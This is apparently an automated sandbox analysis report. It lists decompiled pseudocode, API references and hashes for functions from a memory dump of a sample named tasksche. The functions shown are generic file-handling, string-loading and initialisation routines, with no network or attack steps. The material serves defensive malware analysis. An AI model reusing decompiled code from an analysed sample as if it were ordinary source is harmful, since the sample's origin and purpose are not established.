Instruction ID: 209d7830a902f923c059ddcb8ccd8c76eadbb62e41e0a08ffeb6939b57d6bf06
Opcode Fuzzy Hash: bac05ca2e549dd4e556f3ae34e89e1e7b45a97b9d2e2d38533528fd9b5159ab4
Instruction Fuzzy Hash: 29E0EC3660011437CA102A969C01EBB7A6CDBC1744F1000337E48A2080E979D89E8BED

Uniqueness

Uniqueness Score: -1.00%

Function 004087C3 Relevance: 6.1, APIs: 4, Instructions: 104
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E004087C3(void* __ecx, long _a4, long _a8, short _a12, WCHAR* _a4112, unsigned int _a4116) {
				long _v0;
				unsigned int _t34;
				long _t37;
				void* _t38;
				void* _t45;
				long _t46;
				signed int _t47;
				signed int _t48;
				intOrPtr _t50;
				long _t54;
				intOrPtr _t55;
				long _t62;
				void* _t63;
				void* _t66;

				E0041AAF0(0x100c);
				_t34 = _a4116;
				_t63 = __ecx;
				 *((intOrPtr*)(__ecx + 0x1020)) = 0;
				if( *((char*)(__ecx + 0x1c)) != 0 || (_t34 & 0x00000004) != 0) {
					_t50 = 1;
				} else {
					_t50 = 0;
				}
				asm("sbb edi, edi");
				_t62 = ( ~(_t34 >> 0x00000001 & 1) & 0xc0000000) + 0x80000000;
				if((_t34 & 0x00000001) != 0) {
					_t62 = _t62 | 0x40000000;
				}
				_t37 =  !(_t34 >> 3) & 0x00000001;
				_v0 = _t37;
				if(_t50 != 0) {
					_t37 = _t37 | 0x00000002;
					_v0 = _t37;
				}
				_t47 = CreateFileW;
				_t54 = (0 |  *((intOrPtr*)(_t63 + 0x15)) != 0x00000000) - 0x00000001 & 0x08000000;
				_a8 = _t54;
				_t38 = CreateFileW(_a4112, _t62, _t37, 0, 3, _t54, 0); // executed
				_t66 = _t38;
				if(_t66 != 0xffffffff) {
					L15:
					 *(_t63 + 0xc) =  *(_t63 + 0xc) & 0x00000000;
					_t48 = _t47 & 0xffffff00 | _t66 != 0xffffffff;
					 *((char*)(_t63 + 0x12)) = 0;
					 *((char*)(_t63 + 0x10)) = 0;
					if(_t48 != 0) {
						 *(_t63 + 4) = _t66;
						E00410B9C(_t63 + 0x1e, _a4112, 0x800);
					}
					return _t48;
				} else {
					_a4 = GetLastError();
					if(E0040A3DC(_a4112,  &_a12, 0x800) == 0) {
						L13:
						if(_a4 == 2) {
							 *((intOrPtr*)(_t63 + 0x1020)) = 1;
						}
						goto L15;
					}
					_t45 = CreateFileW( &_a12, _t62, _v0, 0, 3, _a8, 0); // executed
					_t66 = _t45;
					_t46 = GetLastError();
					_t55 = 2;
					if(_t46 == _t55) {
						_a4 = _t55;
					}
					if(_t66 != 0xffffffff) {
						goto L15;
					} else {
						goto L13;
					}
				}
			}

0x004087c8
0x004087cd
0x004087d7
0x004087e0
0x004087e6
0x004087f0
0x004087ec
0x004087ec
0x004087ec
0x004087fe
0x00408806
0x0040880e
0x00408810
0x00408810
0x0040881b
0x0040881e
0x00408824
0x00408826
0x00408829
0x00408829
0x00408832
0x0040883d
0x00408850
0x00408854
0x00408856
0x0040885b
0x004088c0
0x004088c0
0x004088c7
0x004088ca
0x004088ce
0x004088d4
0x004088e2
0x004088e9
0x004088e9
0x004088fa
0x0040885d
0x00408863
0x0040887f
0x004088af
0x004088b4
0x004088b6
0x004088b6
0x00000000
0x004088b4
0x00408895
0x00408897
0x00408899
0x004088a1
0x004088a4
0x004088a6
0x004088a6
0x004088ad
0x00000000
0x00000000
0x00000000
0x00000000
0x004088ad

APIs

CreateFileW.KERNELBASE(?,-7FFFF7FE,?,00000000,00000003,-00000001,00000000,00000802,00000000,?,00000000,00406E59,00000000,00000005,?,00000011), ref: 00408854
GetLastError.KERNEL32(?,00000000,00406E59,00000000,00000005,?,00000011,00000000,?,00000000,?,0000003A,00000802,?,00000000,00000802), ref: 0040885D
CreateFileW.KERNELBASE(?,-7FFFF7FE,?,00000000,00000003,00000000,00000000,?,?,00000800,?,00000000,00406E59,00000000,00000005,?), ref: 00408895
GetLastError.KERNEL32(?,00000000,00406E59,00000000,00000005,?,00000011,00000000,?,00000000,?,0000003A,00000802,?,00000000,00000802), ref: 00408899

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: 54d1e2fabddb0233e8ec690d63eafca3e9d5a954cff2505ca22d8960fac2c11b
Instruction ID: e5fec55928a071c2e3d1b6f10086eb5e0cd4d8e33465c7e2028d9d916ffc9c2f
Opcode Fuzzy Hash: 54d1e2fabddb0233e8ec690d63eafca3e9d5a954cff2505ca22d8960fac2c11b
Instruction Fuzzy Hash: 083169725047449BE7309B20CD05BEB77D4AB80318F104A2EF9D0A33C2DBBE9548D75A

Uniqueness

Uniqueness Score: -1.00%

Function 00401822 Relevance: 6.1, APIs: 4, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00401822(intOrPtr __ecx, void* __edx, void* __edi, void* __eflags) {
				void* __ebx;
				signed int _t69;
				signed int _t70;
				intOrPtr _t71;
				intOrPtr _t81;
				intOrPtr _t92;
				void* _t93;
				intOrPtr _t96;
				void* _t98;
				void* _t103;

				_t103 = __eflags;
				_t94 = __edi;
				_t93 = __edx;
				E0041A4DC(E00429548, _t98);
				_push(__ecx);
				_t96 = __ecx;
				 *((intOrPtr*)(_t98 - 0x10)) = __ecx;
				E00408786(__ecx);
				 *((intOrPtr*)(_t98 - 4)) = 0;
				 *((intOrPtr*)(__ecx)) = 0x42a478;
				E00405F3C(__ecx + 0x1024, _t103);
				 *((char*)(_t98 - 4)) = 1;
				E0040B8E3(__ecx + 0x20e8, _t103);
				 *((intOrPtr*)(__ecx + 0x6538)) = 0;
				 *((intOrPtr*)(__ecx + 0x653c)) = 0;
				E004013DD(__ecx + 0x65e8);
				_t69 = E004013DD(__ecx + 0x8928);
				 *((char*)(_t98 - 4)) = 4;
				_t70 = _t69 & 0xffffff00 |  *((intOrPtr*)(_t98 + 8)) == 0x00000000;
				 *((intOrPtr*)(__ecx + 0x6524)) = 0;
				 *(__ecx + 0x6520) = _t70;
				_t105 = _t70;
				if(_t70 == 0) {
					_t71 =  *((intOrPtr*)(_t98 + 8));
				} else {
					_push(0x72a8); // executed
					_t81 = E0041A89A(0, _t93, __edi, _t105); // executed
					_t92 = _t81;
					 *((intOrPtr*)(_t98 + 8)) = _t92;
					 *((char*)(_t98 - 4)) = 5;
					if(_t92 == 0) {
						_t71 = 0;
					} else {
						_t71 = E0040A026(_t92, __edi); // executed
					}
				}
				 *((intOrPtr*)(_t96 + 0x6524)) = _t71;
				 *(_t96 + 0x6528) =  *(_t96 + 0x6528) | 0xffffffff;
				 *(_t96 + 0x652c) =  *(_t96 + 0x652c) | 0xffffffff;
				 *(_t96 + 0x6530) =  *(_t96 + 0x6530) | 0xffffffff;
				 *((char*)(_t96 + 0x1c)) =  *((intOrPtr*)(_t71 + 0x5195));
				 *((intOrPtr*)(_t96 + 0xb050)) = 2;
				 *((char*)(_t96 + 0xb054)) = 0;
				 *((char*)(_t96 + 0xb055)) = 0;
				 *((char*)(_t96 + 0xb056)) = 0;
				 *((char*)(_t96 + 0xb057)) = 0;
				 *((char*)(_t96 + 0xb058)) = 0;
				 *((char*)(_t96 + 0xb059)) = 0;
				 *((char*)(_t96 + 0xb05a)) = 0;
				 *((intOrPtr*)(_t96 + 0xb060)) = 0;
				 *((intOrPtr*)(_t96 + 0x6538)) = 0;
				 *((intOrPtr*)(_t96 + 0x653c)) = 0;
				 *((char*)(_t96 + 0xb05b)) = 0;
				 *((char*)(_t96 + 0xb05c)) = 0;
				 *((char*)(_t96 + 0xb065)) = 0;
				 *((char*)(_t96 + 0xb064)) = 0;
				 *((intOrPtr*)(_t96 + 0x6540)) = 0;
				 *((intOrPtr*)(_t96 + 0xb040)) = 0;
				 *((intOrPtr*)(_t96 + 0xb044)) = 0;
				 *((intOrPtr*)(_t96 + 0xb048)) = 0;
				 *((intOrPtr*)(_t96 + 0xb04c)) = 0;
				E0041A820(_t94, _t96 + 0x6570, 0, 0x40);
				E0041A820(_t94, _t96 + 0x65b0, 0, 0x34);
				E0041A820(_t94, _t96 + 0x88e8, 0, 0x20);
				 *((short*)(_t96 + 0xb09a)) = 0;
				 *((intOrPtr*)(_t96 + 0xb078)) = 0;
				 *((intOrPtr*)(_t96 + 0xb080)) = 0;
				 *((intOrPtr*)(_t96 + 0xb084)) = 0;
				 *((intOrPtr*)(_t96 + 0xb088)) = 0;
				 *((intOrPtr*)(_t96 + 0xb08c)) = 0;
				 *((intOrPtr*)(_t96 + 0xb090)) = 0;
				 *((intOrPtr*)(_t96 + 0xb094)) = 0;
				 *((char*)(_t96 + 0xb076)) = 0;
				 *((char*)(_t96 + 0xb098)) = 0;
				 *((char*)(_t96 + 0x6548)) = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t98 - 0xc));
				return _t96;
			}

0x00401822
0x00401822
0x00401822
0x00401827
0x0040182c
0x0040182f
0x00401831
0x00401834
0x00401841
0x00401844
0x0040184a
0x00401855
0x00401859
0x00401864
0x0040186a
0x00401870
0x0040187b
0x00401883
0x00401887
0x0040188a
0x00401890
0x00401896
0x00401898
0x004018bd
0x0040189a
0x0040189a
0x0040189f
0x004018a5
0x004018a7
0x004018aa
0x004018b0
0x004018b9
0x004018b2
0x004018b2
0x004018b2
0x004018b0
0x004018c0
0x004018cc
0x004018d3
0x004018da
0x004018e3
0x004018ee
0x004018f8
0x004018fe
0x00401904
0x0040190a
0x00401910
0x00401916
0x0040191c
0x00401922
0x00401928
0x0040192e
0x00401934
0x0040193a
0x00401940
0x00401946
0x0040194c
0x00401952
0x00401958
0x0040195e
0x00401964
0x0040196a
0x00401979
0x00401988
0x00401995
0x0040199c
0x004019a2
0x004019a8
0x004019ae
0x004019b4
0x004019ba
0x004019c0
0x004019c6
0x004019cc
0x004019d2
0x004019dc
0x004019e4

APIs

__EH_prolog.LIBCMT ref: 00401827

Part of subcall function 00405F3C: __EH_prolog.LIBCMT ref: 00405F41
Part of subcall function 00405F3C: _memset.LIBCMT ref: 00405FA4
Part of subcall function 00405F3C: _memset.LIBCMT ref: 00405FB0
Part of subcall function 00405F3C: _memset.LIBCMT ref: 00405FCE

Part of subcall function 0040B8E3: __EH_prolog.LIBCMT ref: 0040B8E8

_memset.LIBCMT ref: 0040196A
_memset.LIBCMT ref: 00401979
_memset.LIBCMT ref: 00401988

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

Part of subcall function 0040A026: __EH_prolog.LIBCMT ref: 0040A02B

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog$_malloc
String ID:
API String ID: 4233843809-0
Opcode ID: 89f10ec8c43f5c59ed1e48a3837198038f2aefdd0a2d009fb04471144bad9c18
Instruction ID: 211b101a5e2dbba32f2c8dae62910ed897794103f7d8a7f2ed724c9505602145
Opcode Fuzzy Hash: 89f10ec8c43f5c59ed1e48a3837198038f2aefdd0a2d009fb04471144bad9c18
Instruction Fuzzy Hash: 865127B1445F809EC321DF7988916D7FFE0AF29314F84496E91FE93282D7352658CB29

Uniqueness

Uniqueness Score: -1.00%

Function 00408CA0 Relevance: 6.1, APIs: 4, Instructions: 59
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00408CA0(void* __ecx, void* _a4, long _a8) {
				long _v8;
				int _t14;
				signed int _t15;
				void* _t28;

				_push(__ecx);
				_t28 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xc)) == 1) {
					 *(_t28 + 4) = GetStdHandle(0xfffffff6);
				}
				_t14 = ReadFile( *(_t28 + 4), _a4, _a8,  &_v8, 0); // executed
				if(_t14 != 0) {
					_t15 = _v8;
				} else {
					_t16 = E00408C5A(_t28);
					if(_t16 == 0) {
						L7:
						if( *((intOrPtr*)(_t28 + 0xc)) != 1) {
							L10:
							if( *((intOrPtr*)(_t28 + 0xc)) != 0 || _a8 <= 0x8000) {
								L14:
								_t15 = _t16 | 0xffffffff;
							} else {
								_t16 = GetLastError();
								if(_t16 != 0x21) {
									goto L14;
								} else {
									_push(0x8000);
									goto L6;
								}
							}
						} else {
							_t16 = GetLastError();
							if(_t16 != 0x6d) {
								goto L10;
							} else {
								_t15 = 0;
							}
						}
					} else {
						_t16 = 0x4e20;
						if(_a8 <= 0x4e20) {
							goto L7;
						} else {
							_push(0x4e20);
							L6:
							_push(_a4);
							_t15 = E00408CA0(_t28);
						}
					}
				}
				return _t15;
			}

0x00408ca3
0x00408ca6
0x00408cad
0x00408cb7
0x00408cb7
0x00408cc9
0x00408cd1
0x00408d2b
0x00408cd3
0x00408cd5
0x00408cdc
0x00408cf5
0x00408cff
0x00408d0c
0x00408d10
0x00408d26
0x00408d26
0x00408d1c
0x00408d1c
0x00408d21
0x00000000
0x00408d23
0x00408d23
0x00000000
0x00408d23
0x00408d21
0x00408d01
0x00408d01
0x00408d06
0x00000000
0x00408d08
0x00408d08
0x00408d08
0x00408d06
0x00408cde
0x00408cde
0x00408ce6
0x00000000
0x00408ce8
0x00408ce8
0x00408ce9
0x00408ce9
0x00408cee
0x00408cee
0x00408ce6
0x00408cdc
0x00408d32

APIs

GetStdHandle.KERNEL32(000000F6,004335AC,?,00000000,?,?,00408EB0,?,00000000,?,?,00000000), ref: 00408CB1
ReadFile.KERNELBASE(?,?,?,00000000,00000000,004335AC,?,00000000,?,?,00408EB0,?,00000000,?,?,00000000), ref: 00408CC9
GetLastError.KERNEL32(?,00408EB0,?,00000000,?,?,00000000), ref: 00408D01
GetLastError.KERNEL32(?,00408EB0,?,00000000,?,?,00000000), ref: 00408D1C

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: c1fed62a9ea2a8515d50b02984c21f09fd940ae1629289a4c1ded04f954c3d6f
Instruction ID: b149f771e66fe820b49a3db0cdc04a66bbf6f60059da98a6e892905e95da3d99
Opcode Fuzzy Hash: c1fed62a9ea2a8515d50b02984c21f09fd940ae1629289a4c1ded04f954c3d6f
Instruction Fuzzy Hash: B411A734504608EFEB205B50DA4096A37A8FF71374B10863FE996A52D1DE3DCD41DF2A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E283 Relevance: 4.5, APIs: 3, Instructions: 28
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040E283(short* _a8, char _a12) {
				short* _t4;
				void* _t8;
				long _t10;

				if( *0x44183c == 0) {
					_t4 = _a8;
					_t18 =  *_t4;
					if( *_t4 != 0) {
						_t10 = GetLastError();
						E0041A9F7(_t18, 0x44cf30, 0x1000, _a8, 0,  &_a12);
						_t8 = E0040D3AC(L"%s", 0x44cf30); // executed
						if(_t10 != 0) {
							SetLastError(_t10);
						}
						return _t8;
					}
				}
				return _t4;
			}

0x0040e28a
0x0040e28c
0x0040e290
0x0040e294
0x0040e29e
0x0040e2b6
0x0040e2c1
0x0040e2cb
0x0040e2ce
0x0040e2ce
0x00000000
0x0040e2d5
0x0040e294
0x0040e2d6

APIs

GetLastError.KERNEL32(?,?,004118E0,?,00000000,00000456,?,00401BB7), ref: 0040E298
__vswprintf_c_l.LIBCMT ref: 0040E2B6

Part of subcall function 0041A9F7: __vswprintf_helper.LIBCMT ref: 0041AA10

Part of subcall function 0040D3AC: wvsprintfW.USER32(?,?,00000456), ref: 0040D3D2

SetLastError.KERNEL32(00000000,?,004118E0,?,00000000,00000456,?,00401BB7), ref: 0040E2CE

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: ErrorLast$__vswprintf_c_l__vswprintf_helperwvsprintf
String ID:
API String ID: 2185310001-0
Opcode ID: 0cfaae379564b9431a99b8ae4347c98e302583a8aa5b0ce1d4e508a4dd868203
Instruction ID: b22b161c7450674d5edde147cd4bd0b7aa6a4be872565bb5de5cfca17d65da41
Opcode Fuzzy Hash: 0cfaae379564b9431a99b8ae4347c98e302583a8aa5b0ce1d4e508a4dd868203
Instruction Fuzzy Hash: B1E0233550421077D3217705AC05BAB3B589BC1750F45047BF900712E0D77C48D5867F

Uniqueness

Uniqueness Score: -1.00%

Function 0040E75F Relevance: 3.1, APIs: 2, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E0040E75F(void* __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t34;
				intOrPtr _t36;
				intOrPtr _t38;
				intOrPtr _t55;
				void* _t57;
				void* _t59;
				intOrPtr _t61;
				void* _t64;

				_t64 = __eflags;
				_t54 = __edx;
				E0041A4DC(E004297B1, _t59);
				_push(__ecx);
				E0041AAF0(0xc0b0);
				_push(_t57);
				_push(_t55);
				 *((intOrPtr*)(_t59 - 0x10)) = _t61;
				 *((intOrPtr*)(_t59 - 4)) = 0;
				E00401822(_t59 - 0xc0c0, __edx, _t55, _t64, 0); // executed
				 *((char*)(_t59 - 4)) = 1;
				E00401A1A(_t59 - 0xc0c0, __edx, _t59, _t64,  *((intOrPtr*)(_t59 + 0xc)));
				 *((intOrPtr*)(_t59 - 0x20)) = 0;
				 *((intOrPtr*)(_t59 - 0x1c)) = 0;
				 *((intOrPtr*)(_t59 - 0x18)) = 0;
				 *((intOrPtr*)(_t59 - 0x14)) = 0;
				 *((char*)(_t59 - 4)) = 2;
				if(E00401768(_t59 - 0xc0c0, _t54, _t59 - 0x20) != 0) {
					_t36 =  *((intOrPtr*)(_t59 - 0x1c));
					_t57 = _t36 + _t36;
					_t55 = _t36;
					_t38 = E0041CF3E(0, _t54, _t55, _t57 + 2);
					 *((intOrPtr*)( *((intOrPtr*)(_t59 + 0x10)))) = _t38;
					if(_t38 != 0) {
						__eflags = 0;
						 *((short*)(_t57 + _t38)) = 0;
						E0041C290(0, _t55, _t57, _t38,  *((intOrPtr*)(_t59 - 0x20)), _t57);
					} else {
						_t55 = 0;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t59 + 0x14)))) = _t55;
				}
				_t67 =  *((intOrPtr*)(_t59 - 0x20));
				if( *((intOrPtr*)(_t59 - 0x20)) != 0) {
					_push( *((intOrPtr*)(_t59 - 0x20)));
					E0041A506(0, _t55, _t57, _t67);
				}
				 *((char*)(_t59 - 4)) = 0;
				_t34 = E00401228(_t59 - 0xc0c0, _t55);
				 *[fs:0x0] =  *((intOrPtr*)(_t59 - 0xc));
				return _t34;
			}

0x0040e75f
0x0040e75f
0x0040e764
0x0040e769
0x0040e76f
0x0040e775
0x0040e776
0x0040e779
0x0040e783
0x0040e786
0x0040e794
0x0040e798
0x0040e79d
0x0040e7a0
0x0040e7a3
0x0040e7a6
0x0040e7b3
0x0040e7be
0x0040e7c0
0x0040e7c3
0x0040e7c6
0x0040e7cc
0x0040e7d5
0x0040e7d9
0x0040e7df
0x0040e7e2
0x0040e7ea
0x0040e7db
0x0040e7db
0x0040e7db
0x0040e7f5
0x0040e7f5
0x0040e7f7
0x0040e7fa
0x0040e7fc
0x0040e7ff
0x0040e804
0x0040e80b
0x0040e80e
0x0040e818
0x0040e821

APIs

__EH_prolog.LIBCMT ref: 0040E764

Part of subcall function 00401822: __EH_prolog.LIBCMT ref: 00401827
Part of subcall function 00401822: _memset.LIBCMT ref: 0040196A
Part of subcall function 00401822: _memset.LIBCMT ref: 00401979
Part of subcall function 00401822: _memset.LIBCMT ref: 00401988

Part of subcall function 00401768: __EH_prolog.LIBCMT ref: 0040176D

_malloc.LIBCMT ref: 0040E7CC

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_memset$AllocateHeap_malloc
String ID:
API String ID: 47157355-0
Opcode ID: c5905087c7d7f68b560fcff4713c4c8935dd251a4dc2dd69f61f8699f7ca505c
Instruction ID: 028989472a53044f7525bc0779393b56fb6d8ddec0b6eee1d5d0b7402cf9aefd
Opcode Fuzzy Hash: c5905087c7d7f68b560fcff4713c4c8935dd251a4dc2dd69f61f8699f7ca505c
Instruction Fuzzy Hash: 09217F72800259EFCF15EFA5D8819EEB7B4BF08308F10456FE006B3291E7385A44DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00408BAE Relevance: 3.1, APIs: 2, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00408BAE(void* __ecx, signed int __edx) {
				long _v8;
				long _t10;
				signed int _t13;
				signed int _t26;
				long _t29;
				void* _t32;

				_push(__ecx);
				_t32 = __ecx;
				_t26 = __edx | 0xffffffff;
				if( *((intOrPtr*)(__ecx + 4)) != _t26) {
					L3:
					_v8 = 0;
					_t10 = SetFilePointer( *(_t32 + 4), 0,  &_v8, 1); // executed
					_t29 = _t10;
					if(_t29 != 0xffffffff || GetLastError() == 0) {
						L7:
						asm("cdq");
						_t13 = E0041ABD0(_v8, _t26, 0, 1) + _t29;
						asm("adc edx, ecx");
					} else {
						if( *((intOrPtr*)(_t32 + 0x14)) == 0) {
							_t13 = _t26 | 0xffffffff;
						} else {
							E00406402(0x4335ac, _t32 + 0x1e);
							goto L7;
						}
					}
				} else {
					if( *((intOrPtr*)(__ecx + 0x14)) == 0) {
						_t13 = _t26;
					} else {
						E00406402(0x4335ac, __ecx + 0x1e);
						goto L3;
					}
				}
				return _t13;
			}

0x00408bb1
0x00408bb4
0x00408bb6
0x00408bbe
0x00408bd3
0x00408bde
0x00408be1
0x00408be7
0x00408bec
0x00408c0b
0x00408c10
0x00408c1b
0x00408c1d
0x00408bf8
0x00408bfb
0x00408c2b
0x00408bfd
0x00408c06
0x00000000
0x00408c06
0x00408bfb
0x00408bc0
0x00408bc3
0x00408c24
0x00408bc5
0x00408bce
0x00000000
0x00408bce
0x00408bc3
0x00408c23

APIs

SetFilePointer.KERNELBASE(?,00000000,?,00000001), ref: 00408BE1
GetLastError.KERNEL32(?,?), ref: 00408BEE

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 401041f812e38b2c9cc7bc658f647880eeddc778264b755613b9ad4916800595
Instruction ID: 02e03e75e993c9a8a945b97f90e28c3a97864ede8bf9f3e31abc9cd0b64ad5c5
Opcode Fuzzy Hash: 401041f812e38b2c9cc7bc658f647880eeddc778264b755613b9ad4916800595
Instruction Fuzzy Hash: 540145B2706204BFE7209B788D458AB36ADCB84334B14423FB192E33C1EA749D00527D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C3BF Relevance: 3.0, APIs: 2, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C3BF(int _a4) {
				signed int _t3;
				signed int _t4;
				int _t12;
				WCHAR* _t22;

				_t3 =  *0x4355d8; // 0x3
				_t4 = _t3 + 1;
				 *0x4355d8 = _t4;
				if(_t4 >= 8) {
					_t4 = 0;
					 *0x4355d8 = 0;
				}
				_t22 = (_t4 << 0xa) + 0x4335d8;
				 *_t22 = 0;
				if(E0040BB81(0x4335bc) != 0) {
					L4:
					LoadStringW( *0x4335a4, _a4, _t22, 0x200);
				} else {
					_t12 = LoadStringW( *0x4335a8, _a4, _t22, 0x200); // executed
					if(_t12 == 0) {
						goto L4;
					}
				}
				E0040BF1D(0x4335bc, _t22, _t22, 0x200, 0, 0);
				return _t22;
			}

0x0040c3bf
0x0040c3c4
0x0040c3c5
0x0040c3cd
0x0040c3cf
0x0040c3d1
0x0040c3d1
0x0040c3e1
0x0040c3ed
0x0040c402
0x0040c416
0x0040c422
0x0040c404
0x0040c410
0x0040c414
0x00000000
0x00000000
0x0040c414
0x0040c42d
0x0040c438

APIs

LoadStringW.USER32(?,-004335D4,00000200), ref: 0040C410
LoadStringW.USER32(?,-004335D4,00000200), ref: 0040C422

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 72945bf23e6ae9cf9b0fab0a5a9e43b8bd420b2efeca12c7a5d03f8341522d8c
Instruction ID: edfc175873420c56a2918f30daf07abd917a54f8fc7c105ac48efc03a3cacc81
Opcode Fuzzy Hash: 72945bf23e6ae9cf9b0fab0a5a9e43b8bd420b2efeca12c7a5d03f8341522d8c
Instruction Fuzzy Hash: 200186722012107FD6209F19AC85F577BEDEB99351F10543AB900D32A1D6359C01876C

